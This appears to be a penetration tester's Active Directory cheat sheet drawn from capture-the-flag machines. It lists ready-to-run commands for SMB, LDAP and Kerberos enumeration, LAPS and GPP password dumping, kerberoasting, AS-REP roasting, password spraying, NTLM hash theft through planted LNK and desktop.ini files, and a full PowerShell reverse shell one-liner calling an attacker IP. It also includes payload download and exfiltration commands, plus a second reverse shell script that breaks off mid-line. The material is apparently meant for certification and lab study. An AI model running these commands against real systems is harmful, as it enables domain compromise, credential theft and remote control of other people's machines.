Active Directory Cheat Sheet

SMB Enumeration
User Enumeration
LDAP/LAPS Enumeration
Kerberos Attacks
Credential Attacks
BloodHound Collection
File Transfer Methods
Windows Post-Exploitation
Privilege Escalation
ADCS (Certificate Services)
ACL Abuse
Miscellaneous Tools

SMB Enumeration

Always try multiple tools for listing shares:

# NetExec (formerly CrackMapExec)
nxc smb <ip> -u '' -p '' --shares
nxc smb <ip> -u 'Guest' -p '' --shares
nxc smb <ip> -u 'systemd' -p '' --shares

# SMBClient
smbclient -L //<IP_OR_DOMAIN> -N

# SMBMap
smbmap -H <ip>

Crawling Shares & Extracting Files

# Spider shares
nxc smb <target_ip> -u 'Guest' -p '' -M spider_plus

# View discovered files
cat <ip>.json | jq 'map_values(keys)'

# Download specific file
nxc smb <target_ip> -u 'Guest' -p '' --share <share_name> --get-file Dev/winrm_backup.zip winrm_back.zip

LNK File Attack (SMB Write Permission / NTLM Theft)

# Method 1: NetExec slinky module
nxc smb <ip> -u 'username' -p 'password' -M slinky -o SERVER=<attacker_ip> SHARES="<share_name>" NAME=malicious

# Method 2: desktop.ini file
# Create desktop.ini with content:
[.ShellClassInfo]
IconResource=\\10.10.14.9\aa
# Upload to writable share

# Method 3: ntlm_theft (generates multiple file types)
ntlm_theft -g all -s 10.10.14.14 -f systemd
# Then in SMB:
# recurse on
# prompt off
# mput *
# Start responder to catch hash

# Method 4: CVE-2025-24071
# https://github.com/Marcejr117/CVE-2025-24071_PoC
python poc.py <foldername> <LOCALIP>

# Method 5: SMB_Killer
# https://github.com/overgrowncarrot1/SMB_Killer
python3 smb_killer.py -l 192.168.132.92 -i tun0 -r 10.48.139.19 -a data -A -o hash

SMB Server (File Transfer)

# On Kali (with authentication)
smbserver.py -username systemd -password systemd share . -smb2support

# On Kali (without authentication)
impacket-smbserver share . -smb2support

# On Windows (connect to share)
net use \\<localIP>\share /u:systemd systemd
net use \\192.168.132.92\share /user:systemd systemd
cd \\<attacker_ip>\share\

# Cleanup
net use * /delete /y

User Enumeration

Username Enumeration via RID Brute

# Guest account
nxc smb <target_ip> -u 'Guest' -p '' --rid-brute

# Anonymous
nxc smb <target_ip> -u '' -p '' --rid-brute

# With credentials
nxc smb 10.10.10.10 -u 'SVC_APACHE' -p 'S@Ss!K@*t13' --users

Impacket Tools

# Lookup SID
impacket-lookupsid flight.htb/SVC_APACHE:'S@Ss!K@*t13'@10.10.11.187

# Get AD Users
impacket-GetADUsers -all -dc-ip 10.10.11.187 flight.htb/svc_apache
impacket-GetADUsers -all -dc-ip 10.10.10.182 cascade.local/''

Kerbrute (Kerberos User Enumeration)

kerbrute userenum --domain htb.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc <dc_ip>

# Example
kerbrute userenum -d EGOTISTICAL-BANK.LOCAL /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc 10.10.10.175

Nmap Kerberos Enumeration

nmap -Pn -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="{Domain_Name}",userdb={Big_Userlist} {IP}

# Example
nmap -Pn -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="vault.offsec",userdb='/home/kali/Desktop/wordlists/seclists/Usernames/Names/names.txt' 10.10.10.100

Other Enumeration Tools

# enum4linux-ng
enum4linux-ng 10.10.11.187 -u 'SVC_APACHE' -p 'S@Ss!K@*t13' -U

# rpcclient
rpcclient -U 'flight.htb/SVC_APACHE%S@Ss!K@*t13' -W flight.htb -c "enumdomusers;quit" 10.10.11.187

# RPC Anonymous
rpcclient -U "" -N <ip>
# Inside rpcclient:
querydispinfo
enumdomusers

Extract Usernames from Website

# Method 1: Basic grep
curl windcorp.thm | grep -E -o "\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b"

# Method 2: Advanced extraction
curl -sL 'http://windcorp.thm' \
  | grep -E -o "[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}" \
  | sort -u

# Method 3: Extract usernames only (before @)
curl -sL 'http://windcorp.thm' \
  | grep -E -o "[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}" \
  | awk -F'@' '{print $1}' \
  | sort -u

# Method 4: Using lynx
curl -sL 'http://windcorp.thm' \
  | lynx -stdin -dump -nonumbers \
  | grep -E -o "[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}" \
  | sort -u

# Method 5: Perl regex
curl -sL 'http://windcorp.thm' \
  | grep -Po '(?<![A-Za-z0-9._%+-])[A-Za-z0-9._%+-]+(?=@)' \
  | sort -u

Useful Wordlists

/usr/share/seclists/Usernames/Names/names.txt
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

LDAP/LAPS Enumeration

Basic LDAP Enumeration

# Get namingContexts (Base DN)
ldapsearch -H ldap://$IP -x -s base namingContexts

# Enumerate all users
ldapsearch -H ldap://$IP -x -b "DC=cascade,DC=local" "(objectClass=user)" sAMAccountName

# Include descriptions (often contains passwords)
ldapsearch -H ldap://10.10.10.182 -x -b "DC=cascade,DC=local" "(objectClass=person)" | grep -i pwd

# Enumerate all groups
ldapsearch -H ldap://$IP -x -b "DC=cascade,DC=local" "(objectClass=group)" cn

# Enumerate computer objects
ldapsearch -H ldap://$IP -x -b "DC=cascade,DC=local" "(objectClass=computer)" dNSHostName

# All attributes
ldapsearch -H ldap://$IP -x -b "DC=host,DC=local" "*"

# Dump to file
ldapsearch -H ldap://$IP -x -b "DC=cascade,DC=local" > ldap-anonymous

# Get just people
ldapsearch -H ldap://$IP -x -b "DC=cascade,DC=local" '(objectClass=person)' > ldap-people

# Sort and analyze
cat <filename> | sort | uniq -c | sort -n

Authenticated LDAP Searches

# Basic authenticated search
ldapsearch -x -LLL -H ldap://10.10.10.182 -D "[email protected]" -w 'rY4n5eva' -b "dc=cascade,dc=local" "(objectClass=user)" *

# User with group membership
ldapsearch -H ldap://10.10.11.76 -x -D "[email protected]" -w "HollowOct31Nyt" -b "DC=voleur,DC=htb" "(objectclass=user)" sAMAccountName memberOf

# All users with basic info
ldapsearch -H ldap://<IP> -LLL -x -D "<USER>" -w "<PASS>" -b "DC=domain,DC=local" "(&(objectclass=user)(sAMAccountName=*))" sAMAccountName displayName mail

# Users with descriptions (often passwords)
ldapsearch -H ldap://<IP> -LLL -x -D "<USER>" -w "<PASS>" -b "DC=domain,DC=local" "(&(objectclass=user)(description=*))" sAMAccountName description

# Domain Admins
ldapsearch -H ldap://<IP> -LLL -x -D "<USER>" -w "<PASS>" -b "DC=domain,DC=local" "(&(objectclass=user)(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local))" sAMAccountName

# Administrators group
ldapsearch -H ldap://<IP> -LLL -x -D "<USER>" -w "<PASS>" -b "DC=domain,DC=local" "(&(objectclass=user)(memberOf=CN=Administrators,CN=Users,DC=domain,DC=local))" sAMAccountName

# All computers
ldapsearch -H ldap://<IP> -LLL -x -D "<USER>" -w "<PASS>" -b "DC=domain,DC=local" "(objectclass=computer)" name operatingSystem dNSHostName

# Servers
ldapsearch -H ldap://<IP> -LLL -x -D "<USER>" -w "<PASS>" -b "DC=domain,DC=local" "(&(objectclass=computer)(operatingSystem=*Server*))" name operatingSystem

# Unconstrained delegation
ldapsearch -H ldap://<IP> -LLL -x -D "<USER>" -w "<PASS>" -b "DC=domain,DC=local" "(&(objectclass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" sAMAccountName

# Constrained delegation
ldapsearch -H ldap://<IP> -LLL -x -D "<USER>" -w "<PASS>" -b "DC=domain,DC=local" "(msDS-AllowedToDelegateTo=*)" sAMAccountName msDS-AllowedToDelegateTo

LAPS (Local Administrator Password Solution)

Query LAPS passwords for managed computers:

bash

# Method 1: ldapsearch
ldapsearch -D <user> -w <password> -o ldif-wrap=no -b 'dc=<domain>,dc=<tld>' -h <domain_controller> "(ms-MCS-AdmPwd=*)" ms-Mcs-AdmPwd

# Examples
ldapsearch -D [email protected] -w CrabSharkJellyfish192 -o ldif-wrap=no -b 'dc=hutch,dc=offsec' -H ldap://hutch.offsec "(ms-MCS-AdmPwd=*)" ms-Mcs-AdmPwd
ldapsearch -D [email protected] -w CrabSharkJellyfish192 -o ldif-wrap=no -b 'dc=hutch,dc=offsec' -h hutch.pg "(ms-MCS-AdmPwd=*)" ms-Mcs-AdmPwd
ldapsearch -D [email protected] -w CrabSharkJellyfish192 -o ldif-wrap=no -b 'dc=hutch,dc=offsec' -h hutch.offsec "(ms-MCS-AdmPwd=*)" ms-Mcs-AdmPwd

# Method 2: NetExec
nxc ldap hutch.offsec -u fmcsorley -p CrabSharkJellyfish192 -M laps

# Method 3: pyLAPS
./pyLAPS.py --action get -d "192.168.223.122" -u fmcsorley -p 'CrabSharkJellyfish192'

# Method 4: LAPSDumper
# https://github.com/n00py/LAPSDumper
git clone https://github.com/n00py/LAPSDumper
python laps.py -u 'raj' -p 'Password@1' -d 'ignite.local'

# Method 5: bloodyAD
bloodyAD --host "192.168.223.122" -d "hutch.offsec" -u "fmcsorley" -p "CrabSharkJellyfish192" get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

# Method 6: ldap_shell
# https://github.com/PShlyundin/ldap_shell
git clone https://github.com/PShlyundin/ldap_shell
ldap_shell ignite.local/raj:Password@1 -dc-ip 192.168.1.48

# Method 7: Windows Registry Check
reg query "HKLM\SOFTWARE\Policies\Microsoft Services\AdmPwd" /s
# Should show: AdmPwdEnabled REG_DWORD 0x1

# Method 8: PowerShell
Get-DomainObject -Identity <dcname$>

Get GPP Passwords

Get-GPPPassword.py hutch.offsec/fmcsorley:'CrabSharkJellyfish192'@192.168.223.122

NetExec LDAP Modules

nxc smb 10.10.11.187 -u 'SVC_APACHE' -p 'S@Ss!K@*t13' --groups

Kerberos Attacks

Request TGT & Usage

# Request TGT
impacket-getTGT domain.htb/'username':'password'

# Export for use
export KRB5CCNAME=username.ccache

# Use with NetExec
nxc smb <ip> -u username -p password -k --shares

# Generate krb5.conf
nxc smb <ip> -u "username" -p "password" -k --generate-krb5-file krb5.conf
netexec smb 10.10.11.42 --generate-kerb-file /etc/krb5.conf

kerberoasting

# Basic kerberoasting
impacket-GetUserSPNs domain.htb/username:password -request-user administrator -outputfile hashes.txt
impacket-GetUserSPNs -request -dc-ip <ip> domain.htb/username

# Using NetExec
nxc ldap <dc_ip> -u username -p 'password' --kerberoasting output.txt

# Targeted kerberoasting
targetedKerberoast.py -v -d 'domain.htb' -u 'username' -p 'password' --dc-ip <>

# With ccache file
targetedKerberoast.py -k --dc-host dc.domain.htb -u username -d domain.htb

# Example with credentials
impacket-GetUserSPNs active.htb/svc_tgs:GPPstillStandingStrong2k18 -request-user administrator -outputfile hashessss
nxc ldap 10.10.10.100 -u svc_tgs -p 'GPPstillStandingStrong2k18' --kerberoasting output.txt
targetedKerberoast.py -v -d 'active.htb' -u 'svc_tgs' -p 'GPPstillStandingStrong2k18'

# Crack the hashes
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat --show raw_hash

From Compromised Service Account (Rubeus)

.\Rubeus.exe kerberoast /nowrap

# Crack the hash
hashcat --show raw_hash
hashcat -m <mode> raw_hash /usr/share/wordlists/rockyou.txt

AS-REP Roasting

# With username list
GetNPUsers.py 'DOMAIN.LOCAL/' -usersfile users.txt -format hashcat -outputfile hashes.aspreroast -dc-ip <dc_ip>

# Alternative syntax
impacket-GetNPUsers domain.com/ -usersfile users.txt -no-pass

# Examples
GetNPUsers.py 'HTB.LOCAL/' -usersfile users -dc-ip 10.10.10.161 -format hashcat
GetNPUsers.py 'EGOTISTICAL-BANK.LOCAL/' -usersfile users -format hashcat -outputfile hashes.aspreroast -dc-ip 10.10.10.175
impacket-GetNPUsers klay.thm/ -usersfile users.txt -no-pass

# Using NetExec
nxc ldap 10.10.10.161 -u users -p '' --asreproast output.hash

Clock Skew Fix

sudo timedatectl set-ntp off
sudo rdate -n <target IP>

Credential Attacks

Password Spraying

# Try username as password
nxc smb <ip> -u users.txt -p users.txt --continue-on-success

# Example
crackmapexec smb 10.10.10.172 -u users -p users --continue-on-success

SSH Key Spray

nxc ssh IPs -u username -p '<passphrase if any>' --key-file <id_rsa> --continue-on-success

Hash Cracking

# Kerberoast
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# NTLM
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt

# Show cracked
hashcat --show raw_hash

BloodHound Collection

bloodhound-python

# With Kerberos
bloodhound-python -u username -p password -k -ns <dc_ip> -c All -d domain.htb --zip

# Without Kerberos
bloodhound-python -u username -p password -ns <dc_ip> -c All -d domain.htb --zip

# Example
bloodhound-python -c all -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --zip -ns 10.10.11.72

# Using NetExec
nxc smb $IP -u $user -p $pass --collection all --bloodhound --dns-server $ip

Rusthound

bash

rusthound-ce -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --zip -c All

File Transfer Methods

SMB Server (Covered in SMB section above)

PowerShell Download

# Reverse shell (no nc.exe needed)
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.14',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Perl Download

perl -MHTTP::Tiny -e 'HTTP::Tiny->new->mirror("http://10.10.14.12/agent","file")'

Base64 Exfiltration

# Windows: Convert file to base64
[convert]::ToBase64String((Get-Content -path "CVE-2023-28252_Summary.pdf" -Encoding byte))

# Linux: Decode
echo '<base64_string>' | base64 -d > file.pdf

Finding SID

# Windows (dsquery)
dsquery computer -name APPSRV01 | dsget computer -sid

# PowerShell
Get-ADComputer -Identity "APPSRV01" -Properties SID | Select-Object Name, SID

# Whoami
whoami /user

# Impacket
impacket-lookupsid flight.htb/svc_apache:'S@Ss!K@*t13'@flight.htb

DNS Enumeration

# Finding hostname via nslookup
nslookup
> server <target_ip>
> 127.0.0.1
# OR
> <target_ip>

# DNS Zone Transfer
dig axfr authority.htb @10.10.11.222

# DNS Recon
dnsrecon -d flight.htb -a -n 10.10.11.187

Stable Reverse Shell Script

# https://github.com/0xmrsecurity/OSCP/tree/main/Reverse%20connection/Windows/Simple-One


# Save as shell.ps1
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.14',4444

PreviousWelcome (Easy) — HackSmarter

Last updated 1 day ago

Good morning

Table of Contents

SMB Enumeration

SMB Share Listing

Crawling Shares & Extracting Files

LNK File Attack (SMB Write Permission / NTLM Theft)

SMB Server (File Transfer)

User Enumeration

Username Enumeration via RID Brute

Impacket Tools

Kerbrute (Kerberos User Enumeration)

Nmap Kerberos Enumeration

Other Enumeration Tools

Extract Usernames from Website

Useful Wordlists

LDAP/LAPS Enumeration

Basic LDAP Enumeration

Authenticated LDAP Searches

LAPS (Local Administrator Password Solution)

Get GPP Passwords

NetExec LDAP Modules

Kerberos Attacks

Request TGT & Usage

kerberoasting

From Compromised Service Account (Rubeus)

AS-REP Roasting

Clock Skew Fix

Credential Attacks

Password Spraying

SSH Key Spray

Hash Cracking

BloodHound Collection

bloodhound-python

Rusthound

File Transfer Methods

SMB Server (Covered in SMB section above)

PowerShell Download

Perl Download

Base64 Exfiltration

Finding SID

DNS Enumeration

Stable Reverse Shell Script